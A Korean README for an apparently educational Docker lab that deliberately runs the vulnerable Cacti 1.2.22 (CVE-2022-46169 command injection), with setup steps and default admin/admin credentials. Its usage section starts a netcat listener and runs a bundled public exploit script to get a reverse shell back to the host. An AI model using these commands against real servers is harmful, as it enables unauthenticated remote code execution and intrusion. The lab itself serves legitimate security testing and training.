Cacti v1.2.22 명령어 삽입 (CVE-2022-46169) 취약 애플리케이션

Cacti 취약점(CVE-2022-46169)을 테스트하기 위한 취약 애플리케이션입니다.

경고!

이 애플리케이션은 심각한 보안 취약점을 포함하고 있습니다. 사용 시 위험을 감수하세요! 백업되고 격리된 환경(예: 최근 스냅샷 및 호스트 전용 네트워킹을 사용하는 VM)에서 실행하는 것이 좋습니다. 이 애플리케이션을 인터넷에 노출된 서버에 업로드하지 마십시오. 해당 서버는 침해될 것입니다.

면책 조항: 누군가 이 애플리케이션을 사용하는 방식에 대해 저는 책임을 지지 않습니다. 이 애플리케이션의 유일한 목적은 CVE-2022-46169 익스플로잇을 위한 테스트 시나리오이며, 악의적으로 사용되어서는 안 됩니다. 이 애플리케이션을 설치하여 서버가 침해된 경우, 그 책임은 설치한 사람(들)에게 있습니다.

취약점 정보

CVE-ID: CVE-2022-46169
링크: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46169
설명: 영향을 받는 버전에서, 인증되지 않은 사용자가 특정 모니터링 장치에 대해 특정 데이터 소스를 선택한 경우, Cacti 서버에서 임의 코드를 실행할 수 있는 명령어 삽입 취약점이 있습니다.

사용법

환경을 설정하는 단계는 다음과 같습니다:

docker compose up -d를 실행하여 구성을 시작합니다.
http://127.0.0.1/cacti로 이동하여 Cacti 초기화 마법사를 시작하면 단계를 마무리할 수 있습니다. 데이터베이스 관련 오류가 발생하면 잠시 기다린 후 페이지를 새로고침하세요.
기본 자격 증명은 admin/admin입니다.
마법사 진행 중 모든 버튼에 대해 "Next"를 누르고 적절한 옵션을 선택하세요. 기본 설정이 모두 적합하며, 모든 필수 전제 조건이 충족되어야 합니다.
설치 후 새 그래프를 설정해야 합니다:
1. "Create graphs"를 클릭하세요.
2. "Graph Templates" 섹션에서 "Create" 근처 드롭다운 메뉴에서 "Device - Uptime"을 선택하세요.
3. "Create" 버튼을 누르세요.

컨테이너 이름은 vuln-cacti입니다.

환경을 해체하려면 docker compose down 명령을 사용하세요.

Cacti의 공식 설치 가이드는 여기에서 확인할 수 있습니다.

근본 원인

취약점의 상세 근본 원인은 여기에서 확인할 수 있습니다.

익스플로잇

공개 익스플로잇은 Exploit-DB에서 확인할 수 있습니다. 간편함을 위해 exploit/ 폴더에 복사되어 있습니다.

실행하려면:

호스트 머신에서 netcat을 사용하여 들어오는 연결을 수신 대기합니다.
```
nc -lvp 6669
```
익스플로잇을 실행합니다.
```
 ./exploit/exploit.py -u http://127.0.0.1/cacti/ -i host.docker.internal -p 6669
```
팁: host.docker.internal은 컨테이너에서 호스트 머신에 접근하는 데 사용됩니다 (참고).

vulhub 저장소에도 항목이 있습니다.

작성자

Antonio Francesco Sardella - 구현 - m3ssap0

라이선스

이 프로젝트는 Unlicense에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

감사의 말

취약점을 발견한 보안 연구원 Stefan Schiller님.
익스플로잇 개발자 Riadh Bouchahoua님.

cacti-rce-cve-2022-46169-vulnerable-application

인기